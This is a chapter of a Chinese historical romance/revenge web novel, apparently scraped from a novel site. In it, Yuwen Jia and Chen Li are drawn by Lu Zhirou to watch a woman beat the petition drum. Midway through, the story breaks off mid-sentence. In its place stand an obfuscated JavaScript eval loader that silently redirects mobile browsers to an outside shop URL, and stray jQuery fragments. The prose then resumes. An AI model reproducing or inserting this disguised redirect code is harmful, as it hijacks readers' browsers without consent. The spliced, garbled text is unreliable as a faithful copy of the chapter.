文趣网 > 都市小说 > 挖地道挖成宰相夫人 > 36. 登闻鼓
    陈砺道破她身份后,她也不解释什么,只说晚间要跟阿翁道别北上。

    陈砺不知她是如何向宇文擎方请辞的,那个老者看着舍不得她得紧。

    那晚他和怒目横眉的阿福并排坐在正房前的石板地上。

    只听正房内不断传来怒斥之声和女子絮絮低语的恳求,还穿插着器具砸向地板的闷响和碎裂之声。

    随后是一阵长久的沉默。

    久到陈砺都要放弃的时候,宇文珈终于推门出来了。

    她脸上挂着的泪痕,胸口起伏不定,一双手微微颤抖地推着门框。

    唇边绽开一抹笑容,温软却笃定。

    陈砺就这样莫名其妙跟着她往北边走了。

    宇文擎方被阿福扶着,一脸愁容又无可奈何地站在门口相送。

    陈砺回头看时,他那双盲掉的眼睛几乎掉出泪来。

    不出几日,两人已经站在平城的地界上。

    晴日照耀大地,陈砺看着人来人往进出城门的不远处,问:

    “那么,我们具体要怎么寻仇?”

    宇文珈食指轻触肩上的圆銙。

    “我们先熟悉一下平城的各个区域,再做打算。”

    两人在平城的计划,可以说是宇文珈一人的计划,就是先熟悉环境。

    第一日陈砺还能勉强配合,第二日他已经有些不耐了。

    他怀疑这个娘子只是为了到平城来吃吃喝喝、走走逛逛。

    第三日,也就是今日,两人听说了卢至柔的丰功伟绩后,终于决定仔细思考一下要如何复仇。

    “跟我说说,当年的细节。”

    宇文珈咬着笔杆,手上麻利地裁剪着宣纸。

    两人找了个背离主街,避免吵闹但极其方便的客栈落脚,宇文珈豪爽地包了一个月的住宿。

    此时正两脸严肃地坐在大厅里。

    “当年,我很多事都不记得了,只记得一群人非常混乱地缠斗着,我眼前一片血光,什么也看不清,醒来后我已经被收养了,手中握着不知何时扯落的圆銙。”

    “什么也看不清?”

    “什么也看不清。”他笃定道。

    宇文珈沉痛地闭上了眼。

    “陈家村在哪里?”

    “平城远郊。”

    “你是怎么被收养的?”

    “我们一路逃到襄州附近,当时族里大部分人都走散了,我最后一次看见的是我阿耶的脸,后来我顺着河流漂到了阿娘门前。再后来我阿娘带着我往黔州去了,后来她也生病去世了,我才去到七岸县的。”

    他平静地讲述,好似不是自己的事一般。

    “那是几月的事?”

    “七月。”

    “宇文谷遇害的时候是六月。”

    那时满山的茉莉都被染红了,宇文珈永远不会忘记。

    “你又是怎么捡到这枚圆銙的?”

    “我和阿翁回去报信的时候,已经被屠了,我在地上的黑衣人尸体附近旁摸到的。”

    俩个人沉默了。

    说来说去还是只有这一个线索。

    “这些年我一直在想为什么要屠我满门……”宇文珈微微皱眉,眉头的隐隐怒气和眼尾的悲戚让陈砺心口泛起历久弥新的钝痛。

    “你来那日我终于确定了我的猜想,宇文家作为宫陵使和陈家唯一的交集就是皇陵的修葺工作,而两家在同一时间被满门屠戮……”

    宇文珈压低声音,陈砺凑了过来。

    “我估计是,他们发现了皇陵里不为人知的秘密,被灭口了……”

    “可修葺宫殿,包括偶尔检查皇陵是数年来的惯例,为何在靖德二十八年被灭口?”

    宇文珈握着笔的手在纸上涂涂画画,线条最终指向“靖德二十八年”。

    那一年发生了什么?

    先皇驾崩,幼帝登基。

    除此之外便是两桩惨绝人寰的命案,草草下了结论,再无其他。

    或者说只是宇文珈不知道而已。

    她扶住了额头,陈砺看着她的笔记,呆呆得也不知能想起来什么。

    “哟?好巧啊二位。”

    笑意绵绵的爽朗说话声,在门口响起。

    宇文珈一巴掌拍在桌上的宣纸上,陈砺赶紧站了起来,迎了上去,同时挡住宇文珈的身影。

    “幸会幸会,卢郎君。”陈砺难得好脸色地对着他抱拳行礼。

    来人正是阴魂不散的卢至柔。

    他轻佻地从陈砺宽厚的肩膀上边看去,挑眉冲宇文珈笑了笑。

    目光似有似无地扫了扫她还没来得及遮掩完全的宣纸。

    他回了一礼。

    “原来是卢郎君,不期在此相遇,幸会幸会。”宇文珈也扯了个笑脸走上前两步。

    他呵呵一笑。

    “这位便是你说的未婚夫?”

    眼神在两人之间来回,语气中的戏谑让陈砺呆呆张嘴。

    宇文珈则不受他的挑衅,垂头大大方方收拾起笔墨来,自若问道:“卢郎君近日公务繁忙,怎的有空逛到这边来?”

    “啊…”他意味深长地叹了一声,目光静静落在她身上。

    这是卢至柔第一次看见她的侧脸。

    少女直率坦荡,视人从不扭捏,总是扬着一张脸,正面的张扬和锋芒卢至柔再熟悉不过了。

    侧脸却是难以预料的玉骨冰姿,高挺的鼻梁下是一个小小的上翘的鼻头,鼻尖仿佛玉兰的花瓣一般吐出冰冷的熏香,下巴有些上兜,难掩倔强。

    连眼尾的弧度都是隐隐上扬的,睫毛和眼角的阴影形成了一段墨色。

    但生人勿近的嘴角又好似清幽寡淡的玉蕊檀心,冷漠淡然,不见半点热切。

    卢至柔好似觉得有趣,嗤笑出声,引得宇文珈疑惑抬眼。

    “卢某碰巧路过罢了,门口望了一眼觉得熟悉打个招呼而已,三娘子不必如临大敌。”他还是笑着,与陈砺站在一起倒显出文臣的柔弱来了。

    宇文珈收了敌意,微微点头。

    “说起来,卢某要去天街西侧看个热闹,二位无事可做的话不如一同前往,卢某正好请二位品鉴鹤栖楼的上好灵溪酒。”

    “我们有事。”宇文珈拒绝。

    “我们没事。”陈砺欣然同意。

    两人同时出声,然后互相嫌弃地对望。

    “你知道什么是灵溪酒吗?”陈砺一副看土包子的眼神看她。

    宇文珈眉头一皱,刚想开口。

    “岭南的好酒,鹤栖楼的店主特意给卢某留了一壶,其中椰子清香确是一绝,二位既然到平城来了,机会难得,不如一同品鉴,也不失一件乐事。”卢至柔对着陈砺眨眨眼。

    “既然卢郎君开口了,那我就不推拒了,倒显扭捏,跟个娘们似的。”陈砺哈哈大笑,抬脚要走。

    宇文珈把他扯了回来,小声在他耳边说:“他难道是什么好东西吗?”

    “喝一口就走,怕什么?”陈砺不满地抗拒着。

    卢至柔笑眯眯地看着他们,负手等待,宇文珈叹了口气,点点头。

    “那便请吧。”卢至柔手往门外轻轻一挥,瞅着宇文珈。

    那双眼角锐利似柳叶的眼睛透着不明显的晶亮算计。

    宇文珈小声说了句“阴魂不散”,确保经过卢至柔的时候被他听了去,再扯着嘴角傻笑了两声,最后收敛神色不情不愿地上了马车。

    卢至柔倒大方地点头致意。

    三人坐在马车上有些拥挤,陈砺壮硕,坐在中间,卢至柔和宇文珈相对而坐,他肩背也宽,不过和陈砺比起来修长许多,腰带松松垮垮的,双腿岔开,足尖朝着宇文珈。

    他正热切地给陈砺介绍平城的大街小巷,陈砺颇有兴趣地回应着,宇文珈沉默不语。

    袍子掀开了一点,马车摇晃中,宇文珈瞥见他纤细有力的小腿映衬在绸缎一般的里裤中。

    卢至柔还好意提起好几家不错的酒馆,几句话下来,勾得陈砺口水直流。

    宇文珈斜眼看了一眼陈砺,有些不爽他这么快就被卢至柔抓住了喜好。

    随后视线不经意瞥向卢至柔,他并不避让,不带掩饰的目光炽热地流连在宇文珈周身,嘴角的嘲意让她有些窘迫

    宇文珈移开视线。

    渐渐地宇文珈发现,他气场温和但十分胶着,把双膝并靠,手紧紧交叠在膝盖上的自己包裹了进去,甚至强硬地隔开了陈砺的气场。

    在马车中不不断侵略她的空间,虽然他一句话都没和她说,陈砺的每一句他都能妥善回应,甚至还能抛出话题。

    但她总是闻到淡淡的清香,萦绕在鼻尖挥之不去。

    再一次不经意地去瞥他,他稳稳地移眸大大方方地看她,嘴角含着笑,怔愣之余她心虚地挪开视线,快

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591655|203430||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    速落败。

    马车中的闷热让宇文珈在冬日闷出薄薄一层汗来,侧身把头脸凑近翻动的车帘缝隙,眯着眼吹着冻人的寒风,胸中的燥热终于散开去一些。

    卢至柔的压迫被风刮开了不少,宇文珈终于觉得舒适一些,体态放松下来,手不再抓着襦裙,搭在窗边托起下巴,两人低低的谈话声从耳边散开。

    宇文珈好奇地打量着平城的街道,额发吹开又合拢,耳垂上挂着的玉耳珰一晃一晃的,忽有一束冷白的日光射来,耳珰折射了一抹淡绿的光。

    晃了卢至柔的眼,眯眼之际只瞄见她阳光下透亮的瞳孔和微微上翘的嘴唇。

    卢至柔垂下眼看向脚尖。

    “前面走不通了,郎君。”车夫在前面喊着。

    “发生什么事了?”宇文珈推开帘子,探身瞅去。

    卢至柔拽了她一把,打开了车门的帘子,让她从这里看。

    三人整整齐齐望去,天街西朝堂的登闻鼓前围了一圈人。

    看热闹的人围到了路口,已经堵了三四辆马车了。

    宇文珈想到今早上听到的……

    焚证灭迹铁证无存……

    莫不是?

    “那娘子是谁?”

    “听说是姚娘子。”

    “姚娘子?哪个姚娘子?”

    “还能是哪个,就这几天姚家的事沸沸扬扬的那个。”

    宇文珈听到这嘴角抽了抽,“这就是你说的热闹?”

    卢至柔催促她下去看看。

    几人下去后,人群越围越多,登闻鼓沉重的轰响逐渐变大。

    宇文珈垫起脚尖也没看清敲鼓的人。

    卢至柔在宇文珈身后,而最是好奇的陈砺在最后面。

    他一身蛮力不断朝前挤,搞得宇文珈在卢至柔无奈地推挤下很快便来到了人群前方。

    登闻鼓前站着一个气喘吁吁还在捶鼓的娘子。

    宇文珈看见一团团急促的白雾在她嘴边浮现,很快又被凛凛寒气打散。

    虽然梳好了精致的发髻,但振鼓让她碎发撒乱,遮挡眉目,只觉面目阴郁。

    不过数日不见,好像整个人历了大劫一般,再无军营中唯唯诺诺的姿态,此刻敲鼓的身影坚定但悲恸欲绝。

    身上谨慎系好的狐裘还可见家中长辈的疼爱,但整个人干枯麻木,倒像是希望消散后,以卵击石螳臂挡车一般。

    宇文珈心中也浮现起感同身受的悲戚来。

    “姚公与钱都督往来的军报当真被焚殆尽?”

    “并未。”卢至柔哀怜地看着她。

    “那她何至于此?”陈砺也不忍心。

    “那些军报并不能证明她父亲的清白,如今没有任何证据能推翻那封呈上御前的通敌卖国的亲笔书信。”

    “施浪抓回来的那个奸细呢?”

    “安插的眼线是为窃取军机的,于陛下来说并非奸细,虽被刑部侍郎关押,但她矢口否认那封书信是伪造的,只说是她截获的。”

    “郭司马曾说……”

    “布防图,奸细也一并呈上作为通敌卖国的另一铁证。”卢至柔看了看鼓前摇摇欲坠的娘子。

    “什么?!”

    “不好!”卢至柔低呼。

    姚芙轩支撑不住,鼓槌砸落,人已歪歪斜斜要倒。

    宇文珈才注意到她竟然是一个人来的,周围连个侍从都没有。

    站在内圈的百姓更是不想惹火,见她要倒反而撤了一步。

    宇文珈咬咬牙,一个箭步冲上去揽上了她的背,把她稳稳接住。

    她已痛苦地半合眼,嘴唇颤抖说不出话,在宇文珈怀中晕了过去。

    卢至柔走上前,探了探她的脉,从袖中掏出瓷白小瓶,倒出一颗丹药给她服下,微弱的呼吸终于平稳了起来。

    正前方脚步声响起。

    宇文珈抬头,一人披着深黑的狐裘缓步走来,里面绯色的官服犹如血色。

    “刑部侍郎覃海波。”

    宇文珈松了口气。

    “大隆律法说,挝登闻鼓诉事不实者杖八十。”卢至柔颇有些为难地补充道。

    宇文珈垂头看了一眼眉头紧皱尤自昏迷的娘子——

    “前清溪关镇边军行军大总管姚看渊之女,你可知说不出切实证据,杖八十!”覃海波一边走一边大声说。

    ——倒吸一口凉气。